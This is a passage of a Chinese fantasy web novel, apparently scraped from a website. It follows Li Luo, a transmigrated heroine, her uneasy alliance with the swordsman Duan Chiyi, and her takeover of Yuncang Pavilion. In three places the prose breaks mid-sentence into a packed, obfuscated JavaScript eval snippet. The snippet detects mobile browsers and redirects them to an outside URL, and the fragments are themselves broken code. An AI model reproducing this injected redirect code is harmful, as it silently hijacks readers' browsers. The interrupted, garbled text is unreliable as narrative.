黎落从口中溢出这几个字。 但系统不再回答她。 心口的痛顿时变得严重,简直像无数根绳子同时将心脏缠绕挤压,直到其四分五裂…… 她的脸色因为窒息而变得灰白,只能用手按在心口,企图借此缓解每一次呼吸带来的抽痛。 但全是徒劳。 封樾居然快死了? 黎落不敢相信。 难道是那个假装冯月婵的人干的? 怎么可能? 他如果那么厉害,怎么会由着她算计掉进封印? 可如果不是他,还会有谁呢? 她走之前还向寺庙住持打听过,那些和尚根本不知道庙里有这样一个能将魔君困住的封印,更不会想到要去补刀。 黎落在剧痛中摸到了自己身上的红色珠子。 这颗红色的珠子原本嵌在紫玉蟾蜍身上做右眼,里面藏着魔尊残魂,被她顺手挖了下来。 若那人当真想要魔尊残魂,或许可以赌一赌…… 她颤抖着抬起手。 纤细的手腕上青紫血管凸现,脉搏在疯狂跳动,像是濒死前的挣扎。 黑气在指尖凝聚,魔气与混沌之力察觉到她的虚弱和放纵,同时冲撞出来。 她蓦地转过头去,吐出一大口鲜血。 一阵微凉的风忽得刮了过来,将她耳边散落的头发吹起。 半空中的手被人握住,冰凉的触感让她下意识一哆嗦,又吐出一口血。 整个人彻底脱力,朝一旁歪倒下去。 凌冽剑气随风而至,眨眼间将车厢斩落成无数碎屑,马儿嘶鸣一声,甩开绳结跑远。 黎落感觉自己往下坠落,却没有等来预料之中的疼痛,而是掉进了一个冷冰冰的怀抱。 段迟意将她稳稳接着,身上还带着剑意和杀气,整张脸宛如刚从冰水中捞出一般,皮肤冷白,散发着寒意,却比鬼魅更让人心惊。 他扣着黎落的手腕,灵力带着剑君独有的霸道强势,瞬间便将冲撞而出的魔气绞杀殆尽。 黎落体内的魔气顿时哑火,不敢再出。 但奇怪的是,那魔气仿佛在她体内被什么东西拉扯着一般,轻易不可拔除。 好在,黎落体内气息已经暂且稳定住了。 段迟意收回灵力。 他来的匆忙,刚刚与魔君一战的剑意方在此时彻底按下。 他将人抱着,目光落到怀中昏迷的人脸上。 11. 第 11 章 黎落缓缓呼出一口气。 心口的疼痛没能彻底消失,每一次呼吸都会带动整个胸腔抽搐着疼。 但好在,勒着她心脏的那股压力消失了。 系统放过她了? 看来封樾没死成,所以她也不必被抹杀了。 黎落心里说不清是遗憾还是庆幸。 她闭着眼睛,又叹了一口气。 “醒了?” 一道声音在她耳边突兀响起,像山间冷泉撞击玉石,清泠沉静。 黎落一下子睁开眼睛。 头顶是明亮的天,云过无痕。 面前是散落一地的车厢碎屑,拉车的马不知所踪。 身下…… 身下是一件素色衣裳,被她压得皱巴巴,还沾着杂草。 黎落蹭的一下坐了起来。 正对上她面前的段迟意。 依旧是那双极黑极冷的眸子,瓷白无暇的肌肤,鸦黑乌发以玉冠高束,将那张俊美如玉的容颜完全展露出来。 介于少年和青年间的样貌,冷白似玉,却又带着不可捉摸的气度。 下颌明晰,脖颈和面容如出一辙的白,喉结凸起一个禁欲的弧度,左下方还有一个小痣。 黎落的呼吸下意识一滞,急忙移开了眼睛。 在她面前的这人,显然是个男人,还是个相当好看的男人。 而她不但把他当做女妖怪推进了有魔君的封印中,还间接把他送进了少儿不宜的剧情里。 现在对方毫发无伤地出来,反而是魔君半死不活…… 黎落感觉自己嗓子发干。 她求生之下没有多想,但现在,却觉得自己或许只是换了个死法。 面前这人只着一件单薄衣裳,腰带勾勒出劲瘦的腰身,少年独有的俊逸被那股冷而静的气质压着,显得格外沉稳。 外裳不知所踪,但显然是在她身下垫着。 “你……” 黎落只说了一个字,便发现自己有好几秒没有呼吸了,又急急吸气,却再次带动了心口的疼。 她“嘶”地一声捂住了心口。 段迟意抬手。 黎落被他突然的靠近吓到,指尖浮上魔气便要攻击。 段迟意避也不避,反倒是她自己承受不住短期内的再度反噬,喉头一甜,又呕出一口血来。 “疼吗?” 清冷如玉的嗓音幽幽响起。 段迟意抬起的手落到她颈侧。 一股温润暖流自他指尖接触的地方传来,帮她调节体内气息,缓解了魔气反噬的痛楚,连带着呼吸也平稳下来,心口的疼也跟着减轻了。 他没杀她,反而在帮她? 黎落茫然地抬头看他,微张的嘴唇上还带着血。 这模样看来,倒是真情实感的呆愣了。 果然和她伪装出的无辜模样大不相同。 段迟意下意识放软了目光,冷硬的寒气从他周身消退。 将魔气压下后,他收回手,语气平静: “魔魂虽强,却弊大于利,不可将其当做武器。” 话中倒并无多少斥责之意,只是阐述事实,如同两人未曾闹掰,还假扮“姐妹”时的口吻。 这情况着实有些古怪。 黎落脸上的呆愣褪去,转为一种警惕的打量: “你到底想干什么?” 段迟意由着她审视,不答反问: “你觉得呢?” 他目光清泠坦荡,反倒衬得黎落自己疑心太重。 黎落不禁思索着。 来抢魔魂?可她醒来就发现魔魂还在体内。 至于魔君……系统什么也没说,应该还活着。 总不会这人真的演“姐姐”上瘾了,被她算计了还担心她,特意追来救她吧? 黎落不敢这么自信,看着他,谨慎地没有说话。 两人四目相对,气氛凝重又诡异。 良久,反倒是段迟意先开口: “你说过的,三天三夜说不完,我来听你说。” 莫名其妙的话。 黎落疑惑拧眉。 随后她从记忆里翻出这句话: “那些不断威胁我的事,多到三天三夜都说不完……” 她一时无语,觉得这人不是在拿她取乐,就是脑子有病。 她既然活了下来,便不想继续耽误时间,暗中估量着逃生和反杀的可能。 段迟意将她的心思尽收眼底,语气冷了几分: “若我想对你动手,你跑不掉。” 黎落闻言,眼底浮上戾气,魔气再次凝聚在指间。 抬起的手却被段迟意拦住。 他目光含着不悦,但极为克制: “不要再动魔气,我不会伤你。” 现下她精神不稳,若再动用魔气,只怕真要被其反噬失去神志,成为只会杀戮的魔物。 到那时,他就不得不杀了她。 但他私心里并不想杀黎落,不论是什么原因。 段迟意看着黎落满是警惕和不安的眼睛,心里竟有些不是滋味。 也不知道她到底是经历了什么,才会变成这个样子。 他不想吓到她。 想了想,又补了一句: “我保证。” 黎落没有吭声。 他确实不曾伤到她,还帮她压制了魔气反噬。 然后他握着黎落的手缓缓放了下去,她没有反抗。 段迟意暗中松了一口气,继续说道: “你一开始就知道那封印里面有谁,是吗?在冯府的时候,你也提到过魔君。” 害人的事被当事人挑明,不管自己当初出于什么不得已的原因,做了就是做了,再继续装无辜可怜就显得恶心了。 黎落扬起下巴看他,目光冷漠: “是,那又如何?” 段迟意倒没有要杀她泄愤的意思,闻言只是点了点头: “这么说来,你似乎与魔君有怨,为何不寻求仙门帮助,反要自己盗取魔魂?” 黎落打断他: “我没有偷,这魔魂不是魔君的,也不是你的。” “而且我为什么不能是对你有意见,想借魔君的手除了你?” 她看着段迟意,控诉道: “你假装冯月婵和我同床共枕多日,我就不能报复回去吗?” “好吧。抢。” 段迟意也意识到自己措辞不当,他果断改口。 但黎落的后一句指控让他下意识愣住,一时间,竟有些不知该如何解释了。 良久,他垂下眸子,神态歉意: “此事……确是我考虑不周,你怎样报复都不为过。” 这下子,反倒是黎落哑口无言了。 她也不知是在跟谁赌气,“哼”地一声扭过头去,不说话了。 段迟意看着她。 和他假扮冯月婵时的目光一样。 自系统出现后,世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320424|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界倾覆,再也没人会用这样的目光看她。 这让她觉得自己像是一个又可怜又可恨的混蛋。 黎落忽然抽泣了一下。 崩了很久的神经忽然松动,她心里的委屈因为段迟意的道歉,竟然一下子全都冒了出来。 眼泪就跟开了闸的洪水一样,拦都拦不住。 她抬起胳膊用手背擦了一下,反而越流越多,渐渐的,连呼吸也哽咽起来。 到最后,索性什么形象都不要了,坐在地上旁若无人地哭了起来。 不知道哭了多久,反正一双眼睛都红肿地睁不开了,她才转回头看向段迟意: “我讨厌你。” 段迟意:“……抱歉。” “你为什么要道歉?!” 谁知黎落听了他的道歉反而更生气: “我差点害死你!你为什么要跟我道歉?你怎么不直接杀了我!” 段迟意目光平静:“我不想杀你。” 黎落转回头又“呜呜呜”哭了起来。 她感觉自己又变成了那个刚穿越的小女孩,到处找不到爸妈,也找不到熟悉的人和东西。 这个世界上的一切东西都让她觉得讨厌。 “凭什么?凭什么是我?我想回家……我想爸爸妈妈……呜呜呜……我也好想爹娘……” 段迟意犹豫片刻,问道: “你家在哪?我可以送你回去。” “回不去了。” 黎落擦眼泪,声音低落: “我已经分不清楚,哪个是我的家了。” 段迟意于是沉默。 此刻的黎落收起了满身爪牙,也放弃了天真无辜的伪装,只是一个无家可归的可怜孩子,反而更让人心疼了。 他不知该如何安慰。 回忆一番后,又试探着问了句: “那你想吃……糖油果子吗?” 黎落的哭声顿了顿,反而变得更大了。 段迟意彻底不知该怎么办了,只好在旁边安静等着。 又过了好久,黎落彻底哭不动了。 她最后擦了一次眼泪,感觉系统出现以来积攒的委屈和愤怒终于得到了发泄,整个人反而轻松很多。 甚至有心情问段迟意: “你到底是什么人啊?为什么能打得过魔君?你把他杀了吗?” 段迟意看她一眼,没说话。 黎落于是道:“这样吧,我们继续答案交换,你问一个我问一个。” 她抢话:“我先问。” 段迟意思量片刻,捡了个不会出错的答案: “魔君重伤。” 黎落面露失望。 这消息她早就知道了,问了等于没问。 “你为什么不找仙门求助?” 听见段迟意的问题,黎落又露出了那种虚假的天真的笑: “仙门?听起来好厉害哦。可惜我没有灵根,入不了仙人的眼。” “再说了,这世上苦难者众多,仙人又怎么可能全救得过来,还是不麻烦了。” 她在撒谎。 段迟意轻易便从她脸上发现这一点。 才刚从悲伤中走出来,眼角还挂着泪痕,伪装的面具倒是已经戴好了,嘴里没一句真话。 段迟意莫名觉得不爽。 只有感觉到痛、忍不住哭的时候,才能展露出真实的她吗? 他无端想着。 这念头只一闪而过,便沉寂下去了。 12. 第 12 章 黎落的情绪已经彻底整理好了。 她开始好奇别的事情,比如面前这人的身份: “你到底是谁啊?你为什么能……” 她在自己脖子上比划了一下: “压住它?” 段迟意收回思绪: “是灵力。” 在黎落震惊后退的前一秒,他又极为冷静地补充道: “我是……灵妖。” 灵妖,吸收灵气生成的妖,气息和修士很像,又修成了人形,品性多良善,寻常人分辨不出来。 黎落对仙门态度奇怪,又防备心极强不肯说实话,段迟意索性将自己“仙君”的身份彻底摒弃,给自己捏了个她容易接受的身份。 果然,听到他不是修士后,黎落眼里的震惊和警惕就消退了。 她松了一口气。 除了魔魂,她体内还藏着混沌之力,若是被仙门中人盯上,那可就完了。 灵妖好啊,不像寻常妖族那样凶残,又不像修士那样危险。 她大可放下心来。 黎落从地上站起来,拍了拍裙摆上不存在的尘土,语气明显轻松起来: “不论如何,多谢你救我,但是魔魂不能给你。” 她看着段迟意,脸上没有防备和警惕,像是前面那些纷争彻底翻篇,仅以一个不那么熟悉但也不那么陌生的朋友的身份来对话: “你还有别的谢礼想要的吗?” 段迟意看着她的脸没有说话。 黎落的表情因着他的沉默而渐渐冷了下去,审视和警惕再次悄然浮现: “怎么?你非魔魂不可吗?” 段迟意:“……不是。” 黎落神色松动了几分,替他打圆场: “那就是暂时想不到了。” 她十分好说话的样子: “那没关系,等你想到了再来讨,我不会赖账的。” 黎落辨了辨方向,指着云苍城的方向对他说: “未来一段时间我会在那,再正式介绍一次,我叫黎落。” 说完,她看向段迟意: “这位灵妖,你叫什么名字?” 这本是个极为普通的问题。 但段迟意却没有立马回答,他长睫垂下,遮住了那双极为锐利的眸子,模样竟有些茫然无措。 他似在真切地疑惑,又好似这是个不被允许提起的话题: “名字?” 黎落一时觉得奇怪。 但转瞬她又觉得可以理解。 没有名字,不想被人知道名字,或者名字拿不出手,都很正常。 她于是抬手拍了拍段迟意的肩膀: “没事,你不想说就算了,就算没有名字,我也知道是你。” 说完她就要离开。 “等等。” 段迟意却叫住她。 黎落回头。 他仍保持着坐在地上的姿势,暮色华光落在他周身,为他渡上了一层流线型的暖色光晕,更显得侧脸俊逸白皙。 他微微侧头看向黎落,眼睛里是她看不懂的神色: “段迟意。” 他开口,声音有些沉,仿佛这三个字被封存了很多年一样,骤然被拿出来时,尚需要小心掸去上面覆盖的尘土。 但很快,那双黑水银般冷而静默的眸子里就有了温度。 原来尘土之下,是这样一番盛景。 他一眨不眨地盯着黎落,重复了一遍: “我叫段迟意。” 黎落被他的情绪感染。 她像是天生就知道怎么打动人心。 她看着他的眼睛,格外郑重地重复了一遍: “段迟意,我记住了。” * 云苍城。 此地靠近人魔两界,居民种族不定,大多离群索居、性格怪异,是一个相当诡异的地方。 但却无人敢彻底毁灭云苍,只因城中有一座淬金石矿脉。 淬金石用途广泛,可以拿来炼器、锻体,甚至可以提取颜色做装饰品。 对人族、魔族、妖族乃至修士而言,都是十分珍贵且稀缺的材料。 各界忌惮、骚扰,却始终不曾将此城攻占。 ——因为淬金石矿脉,是活的。 只有被矿脉认可的主人,才能得到淬金石。 数百年前,魔尊在此地设立云苍阁,与阁主达成交易。 云苍归属魔族,魔族为其提供庇护,条件是,云苍阁阁主为魔族提供一定量的淬金石。 云苍阁。 院中空无一人。 黎落叉腰站在二层阁楼上,从开阔的视野里俯视整个院子。 观察半天后,她选中了一个角落,抱着铁锹下了楼。 系统仍在自动播放着原书剧情: “……女主在魔宫只是一个最卑微的侍女,谁都可以踩上一脚,只有见到那一袭张扬红袍时,她的心才会忽然一滞,思绪忍不住飞到那夜寺庙中,漆黑狭小的空间,炽热的体温……” 黎落忍不住呕了一声。 系统的机械声一顿,又继续念道: “可魔君高高在上,对她身上的伤痕视若无睹,只揽着魔族美人醉生梦死。女主不免心碎神伤。” “可她不知道的是,每到入夜,便有一道亘古恒久的视线隔着一扇窗,长久地注视着她。魔君眼里全是无法言喻的情愫……” 黎落捂住嘴,将铁锹往地上一扔,弯腰拍了拍自己的胸口。 她忍不住说道: “这不吓人吗?这不恶心人吗?” 系统:“这是畅销书。” 黎落“哇哦”了一声。 系统又道: “如果不是你改变了剧情,这些都该你亲自体会。” 黎落一边觉得恶心,一边压抑住嘴角的冷笑,神态无辜: “抱歉,我也没想到淬金石矿会选中我。” 她垂下眸子,叹了口气: “现下我暂时去不了魔界,无法继续攻略封樾,只能先在云苍城当这个阁主……这个身份也方便接近魔君不是吗?” 说完,她拿起蝴蝶坠子,怯生生地问系统: “不然的话,你还有别的办法,能让我安全去到魔界吗?” 系统自然没有。 它更不理解的是: “这云苍阁阁主怎么会忽然消失呢?还有那淬金石矿,怎么会一下子看上你了呢?” 它语气疑惑。 黎落一脸无辜:“我不知道啊,剧情没说吗?” 系统再次审视黎落。 她身形纤弱,双眸纯真如孩童,棕色的眸子在阳光下像是半透明的,一眼就能看出内里的纯粹。 当日两河镇被屠,她在地窖里躲了两天两夜,被吓得话都说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320425|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,到现在还会怕黑。 怎么看,都不像是能动手杀人的。 之前的剧情偏移、男主重伤,应该都只是巧合吧。 系统这样想着,还是提醒她: “破坏剧情的惩罚你也见识过了,希望你能记住教训。” 黎落自是点头。 系统念完剧情后自动陷入休眠,坠子暗了下去。 黎落眼里的怯懦一下子消失。 她若无其事地捡起铁锹,继续在地上挖大坑,然后将一旁的麻袋踢了下去。 麻袋滚下去的一瞬间,清晰地露出人形。 系统还不知道,这麻袋里装着的,就是失踪的云苍阁阁主。 不过很快,他就要变成花肥了。 黎落弯起眼睛,将地上覆盖的新泥踩平。 她面容恬淡,仿佛真的只是在种花。 * 云苍城天气莫测,白天还是艳阳高照,晚上就开始风吹雨打。 黎落将灯全点了起来,还摆了一桌子夜明珠,看起来有些“穷人乍富”的浮夸。 但她只是不想一个人呆在黑暗里。 窗户被吹得哗哗作响,没过一会儿,雨滴便噼里啪啦砸了下来。 黎落将被子拉高了一些,将耳朵也一起挡住。 云苍城素来看不见几个人影,居民更是默认远离古怪的云苍阁阁主。 但今晚,雨声遮挡之下,云苍阁外却围了许多瘦长的影子。 鬼影重重。 室内无风,但烛火晃动不休。 黎落看着那烛光,双眸一点点变黑。 云苍阁阁主易主的消息传出后,贪婪之辈很快就忍不住了,试探她底细的人一波接一波,将云苍阁外的符咒消耗了个干净。 她不会画新的。 黎落垂下眸子,睫毛在她脸上打出阴影。 然后她缓缓抽出藏在怀里的匕首,魔气萦绕其上,被混沌之力吸引拉扯着,躁动不安。 魔气虽然可以缓解她使用混沌之力的反噬,却也以另一种方式限制着她。 魔魂虽弱,但魔族吞噬、夺舍的本能仍在。 只消抓住人片刻的脆弱,便能迅速放大黑暗面,直到这人彻底失去理智,沦为魔气的傀儡。 人皆有暗面。 更不巧的是,她心里的黑暗面可太多了。 不过,其实这些也没什么大不了的。 黎落心想。 这世上的东西本来就是你强一寸便压他人一寸,若是自己弱到顶不住,被魔气异或是他人吞噬,都没有分别。 她没有退路。 她盯着那烛火,任由憎恶、杀戮等等情绪蔓延上来。 烛火熄灭的同时,她猛地掀开被子,魔气一下子爆起,匕首朝着来人脖颈重重捅下—— “噗嗤”、“噗嗤”。 连续的两声同时响了起来。 黎落松开手。 面前的妖族一手捂着脖子,一手按在胸前,两个伤口汩汩冒出鲜血。 它眼里满是不可置信的表情,扑倒在黎落床边,露出背后那道修长清瘦的身影。 寒气扑面,黎落下意识朝床里缩了一下。 下一秒,她便借着夜明珠的光看清了那人的脸。 眼眸如星,姿容胜雪。 “段迟意?” 她喊出了这个名字,语气有些不可思议。 13. 第 13 章 “是我。” 段迟意开口。 他脸色不是很好,虽然还是面无表情,但黎落就是从他眼睛里看出了不悦。 “我有没有告诉过你,不要动魔气。” 他声音凉凉的,听在黎落耳朵里却有如天籁。 黎落从床里面挪出来,借着夜明珠的光仔细瞅他,直接忽视了他的质问。 “你怎么在这儿?” 她语气惊喜,颇有些“他乡遇故知”的感动。 说来也奇怪,虽然之前和段迟意并不是很熟,但如今在云苍城夜半遭遇刺杀时能看见他,黎落就感觉心里格外踏实。 可能是有冯府一起遇鬼的共患难基础在吧。 黎落心想。 她又往前凑了凑,上半身都要探出床边了,语气有些期待: “你是想好了,要什么报酬吗?” 段迟意的愠怒便有些无处安放。 他下意识伸手,想把黎落朝里面推一推,免得她掉下来,砸到这一地污血上。 谁知黎落竟会错了意,伸手抓住他的手,温暖的触感一下子包裹住了他。 她把他朝床这边拉了拉: “你的手怎么这么冰?外面下雨了,是不是很冷啊?” 段迟意觉得自己可能是真的冻僵了,不然他怎么会毫无抵抗的力量,就随着黎落的动作走到床边了呢? 然后他忽然又意识到自己已是化神修为,就算在冰湖里泡上三年都不会冷。 并且他还在生气。 于是他又冷着脸继续道: “你短期内多次动用魔气,一旦被反噬,就必死无疑……” 话还没说完,肩头忽然一暖。 黎落把被子盖在了他身上。 她自己只穿着单薄衣衫,绕到他前面,伸手将他身上的被子裹得更严实了些。 袖口滑落,露出纤细的腕子。 段迟意垂眸,却又不经意间看到她胸前露出的一大片肌肤,莹白如玉。 一条银白细长的链子直直坠进…… 段迟意呼吸一滞,猛地移开视线。 于此同时,裹在他身上的被子上传来甜甜的香,和黎落身上的如出一辙,他在冯府的第一夜就闻到过。 段迟意动作彻底僵住了。 他一动不动,任由着黎落摆弄他,像裹一个春卷那样,用手将所有缝隙都掖了进去,密不透风。 黎落终于满意,她拍拍裹在被子里的他: “暖和了吗?” 段迟意:“……暖和。” 然后她才说: “云苍终究属于魔族,这里的规矩亦是弱肉强食。” “我自然知道魔气危险,可若是没有这东西防身,我在此处,便只剩死路一条了。” 黎落看向段迟意,眼里是真情实意的笑: “你能来救我,我真的很惊喜。其实除了冯姐姐,我没有别的朋友了。这么算起来,你竟然是我第二熟悉的朋友了。” 段迟意没说话。 他一边忍不住为黎落这样软绵绵的语气所动摇,一边又清楚地记得,上次她这样“真情实感”地说完“掏心掏肺”的话后,眼也不眨就把他推进了封印里。 果然,黎落说完这句话后,图穷匕见: “段迟意,如果我答应你不动魔气……那你能帮我一个忙吗?” 果然如此。 段迟意斜睨着她,眼神里写了这四个字。 黎落不好意思地笑了笑。 段迟意真的蛮了解她的,好难得,冯姐姐都不会这样清楚她的想法。 不过仔细想想,在冯府的时候,确实是段迟意和她夜聊更多。 黎落兀自点了点头。 然后她说:“外面的妖族……” 段迟意:“我帮你解决。” “那云苍阁外的防护符咒……” “我帮你画。” 黎落惊喜地看着他:“灵妖连这个都会?” 段迟意垂眸,没接话。 黎落试探道:“那还有……” 段迟意冷静道:“你先睡觉吧。” 黎落:“……” 好可惜,她原本还想着,让段迟意帮她查查觊觎云苍阁的幕后势力。 毕竟这时不时的偷袭实在让人厌烦。 但前两个事情能解决就算意外之喜了,她不能太贪心。 黎落坐了回去。 段迟意已经转身,一手提着地上那死去的妖族,一手从墙上抽出那把装饰用的剑,干脆利落地出了门。 当晚,云苍城内外剑光不断。 被派来刺探云苍阁的妖族被屠了干净,只留了一个腿脚飞快的,第二天便跑回了妖族。 龟缩妖界的妖王听闻这消息后,气的一下子从王座上弹了起来。 再三确定持剑那人没有带面具,拿的也不是破妄剑后,妖王才放下心来。 他不满道: “一个小小阁主,敢跟公开与我妖族为敌?” 报信人瑟瑟发抖: “那人说了,他打的就是妖族……” “他还说了,如果妖族再敢动云苍阁,七年前妖界如何,今日便还如何。” 七年前,仙门珩亦仙君是如何一人一剑屠了半个妖族,在场所有人都记忆犹新,妖王本人更是不敢忘记。 只听得这话,他腹间洞穿的伤口立即隐隐作痛起来。 虽然知道这人不是珩亦,但他仍心有余悸,思索再三,还是决定不去招惹这新任的云苍阁主。 淬金石再贵,到底没有他的妖命重要。 * 雨声将一切都遮盖下去。 等段迟意回来的时候,黎落已经靠在床边睡着了。 地上的污渍还没有擦干净,但她却接受良好,兀自睡得香甜。 进来个人都没有察觉到。 心大得让他意外。 段迟意看了她片刻,转身将剑归鞘,又挂回了原地。 他想了想,还是决定不打扰黎落睡觉了,推门又准备出去。 然而,就在他走到门边的时候,一团五彩斑斓的、毛绒绒的东西忽然从窗户跳了进来,直扑向黎落的床。 难道暗处还有妖? 段迟意眉目一凌,反手从桌边取了一个夜明珠,携带剑气砸向那团东西。 “砰”地一声重击,那团毛球毫无防备,还没碰到黎落的床,就从半空被砸到了地上。 夜明珠滚到床边,“咔嚓”一声,被其上携带的剑气撞碎了。 黎落的床也跟着一晃。 她被吵醒,茫然地看向段迟意。 段迟意神色不变: “没事,你继续睡。” “哦。” 黎落尚不知道发生了什么,只能点了点头,准备再次闭眼。 段迟意迈步过来,将地上的毛球提了起来,动作十分粗暴,像是在发泄吵醒黎落的怒气。 正准备闭眼的黎落一眼便看到他手上提着的东西,当即被吓了一跳。 她急忙扑了过去,两手死死扒住段迟意的胳膊,拦住了段迟意将那毛球捏碎的动作: “这个不能杀啊!” 段迟意疑惑。 但黎落整个人都压在他胳膊上,衣服松散,细腻光滑的皮肤紧紧贴着他的,还在使劲掰他的指节: “快放开啊!别把它捏碎了!” 他下意识顺着她的力道松了手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320426|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毛绒球落到地上,“噗”地一声变成了一个满头扎辫子飘彩带的小女孩。 个头还没到段迟意腰,一双浅金色的眸子趋近于白,显然不是普通妖族。 那小女孩趁着黎落压着段迟意胳膊的功夫,一头朝他腹部撞来。 黎落又一惊,急忙挡在段迟意前面: “这个也不能杀啊!” 腰间一紧,后背贴上一个冷冰冰的胸膛,她整个人猝不及防腾空而起。 段迟意在对方撞来的同时,一手携了她腰,抱着人直接飞了起来,避开了那杀伤力实强一击。 下一秒,屋子里发出一连串的撞击声。 桌仰椅翻,夜明珠洒了一地,宛如满天星辰洒落。 黎落在段迟意怀里,看着碎落一地的夜明珠,悲伤而疲惫地垂下了头。 * “这是穗穗,就是那个传说中会自己挑选主人的淬金石矿脉。” 黎落指着那满头彩带的小女孩。 说完,她又指着段迟意: “这位灵妖,叫段迟意,是我的朋友,昨晚就是他帮我们除妖和画符的。” 穗穗浅金色的眼睛从黎落脸上转到段迟意脸上,呆呆的,非人感很强。 她思索片刻,从自己肚子里掏了掏,拿出一块巨大的淬金石,酷酷地说: “谢谢你救我们阁主。” 段迟意审视着穗穗,没有接。 穗穗又看向黎落。 黎落深吸一口气,转头,冲段迟意微笑,眨了眨眼睛,从牙缝里憋出几个字: “孩子给的见面礼,接啊。” 段迟意伸手将淬金石拿走。 穗穗收回手,得意地扬起下巴看着段迟意。 黎落也满意地点了点头。 穗穗忽然开口:“阁主,这是你的新手下吗?” “不是……” “是。” 两道声音同时响起来。 说了“不是”的黎落猛地转头看向段迟意。 段迟意神色不变,冷黑的眸子盯着穗穗,淡淡开口: “我是她的副阁主。” “她的”两个字咬得格外重。 黎落张大了嘴:“啊?” 穗穗的脸色因为他这句话一下子黑了下去。 她绷着脸没有说话,看起来十分生气。 空气中隐约传来刀光剑影。 半晌,穗穗被他眼里的剑气吓退,“哼”地一声起身走了。 “欸,穗穗……” 黎落不明所以,想叫住她,却被段迟意打断: “矿脉没有性别。” “我知道啊。但她已经用了很久女身了,你就当她是个小女孩就好了。” 穗穗已经跑没了影,黎落索性转向段迟意: “倒是你,你干嘛要说自己是副阁主啊,穗穗最讨厌云苍阁里有外人了。” “外人?” 段迟意重复了一遍,眯眼看着她,语气古怪: “是讨厌有外人,还是讨厌你身边有别人?” 黎落眨了眨眼,奇怪地看着他: “这是什么意思?” 段迟意看她几秒,蓦地扭过头去: “……总之,不要让它闯你的卧房,爬你的床。” “还有。” 他侧着头,故意不看黎落,一脸冷漠: “我想好报酬了。” 说到这里,段迟意语气一顿。 他思考着黎落以往提要求时的惯用方法,用一种理直气壮的语气说道: “因为我很可怜,我无处可去。所以……” 他飞快地接了句: “我要当云苍阁副阁主。” 14. 第 14 章 云苍阁多了一个副阁主。 副阁主是个灵妖,样貌俊逸非凡,修为更是深不可测。 一个人一柄剑,将云苍阁守成铁桶一般,让想去门口碰碰运气捡些淬金石的人望而却步。 阴差阳错解决了黎落的困境。 一开始她还防备着段迟意,试图从他的言行中看出破绽。 但每当她露出怀疑审视的目光时,段迟意就会用认真工作的态度和专业强大的实力打动她。 他比黎落这个半路上任的阁主还认真负责,包揽了云苍阁的衣食住行和安全护卫,让她的生活水平直接上升了一个台阶。 睡着安全温馨的屋子,吃着精致健康的食物,黎落始终没能发现段迟意的破绽,反而自己破天荒地胖了几斤,连气色都变好了。 段迟意对此十分满意。 他在食谱上写写画画,勾去黎落不喜欢的,加上黎落喜欢的,然后又更加卖力地投入到副阁主的日常工作中去了。 连穗穗也挑不出刺来。 黎落逐渐动摇,开始唾弃自己的“小人之心”。 万一段迟意真的就想当这个副阁主呢? 毕竟,云苍阁是这个书本世界里最富有的地方,而她又是一个如此和善好说话的上司。 无处可去的灵妖会心动真是太正常了! 黎落说服了自己。 毕竟段迟意入驻云苍阁后,日子平顺到她几乎快要忘了剧情和魔魂的事,这实在让她无法拒绝。 混沌之力和魔气的反噬也在这天长日久的安稳中得到了修复。 但当她好不容易能睡个安稳觉时,系统又冒了出来。 原书剧情里,这会儿正是女主和魔君虐身虐心的拉扯戏份,由系统转述的剧情以一种极高的频率在她耳边播放。 今日女主被侍女欺辱掉河,明日女主生病晕倒摔断了胳膊,后日魔君忽然给女主送了一瓶伤药,转眼女主就撞见他和别的女人滚到了一张床上…… 然后女主继续被欺辱、被毒打、心碎的时候魔君再给点甜头…… 没完没了。 鬼打墙一样的剧情,听得黎落头晕恶心。 她的脸色一天比一天难看,脾气也肉眼可见的变得暴躁。 这天,她正和穗穗商量后院种什么花的时候,忽然脸色一变,大骂了一句“草”之后,一言不发地冷着脸回了屋子。 穗穗和段迟意面面相觑。 当晚,穗穗就爬上了她的床: “阁主,谁惹你不高兴了吗?” 黎落抬手揉自己的脸,搓面团一样,故作欢欣道: “没有啊,我挺高兴的。” 穗穗便用那双浅金色的眸子看着她,语调平而无情: “阁主,讨厌的人,可以杀掉的。” 黎落一顿,放下手,脸颊已经被自己揉得发红。 她叹了一口气: “唉,其实也没什么——” 砰——! 门忽然被人大力推开。 冷风呼啸着灌了进来,但是不比段迟意眼里的寒意吓人。 他提着剑一步步走到床边,目光牢牢盯着床上的两个人。 穗穗也不知是害怕的还是故意的,见状,一下子抱住了黎落的胳膊: “阁主,好冷。” 黎落下意识用被子裹住她。 段迟意看着两人“搂作一团”,黎落脸颊还一片暧昧的红,黑眸里像是要结出冰碴子。 他一字一句细数自己今日的工作内容: 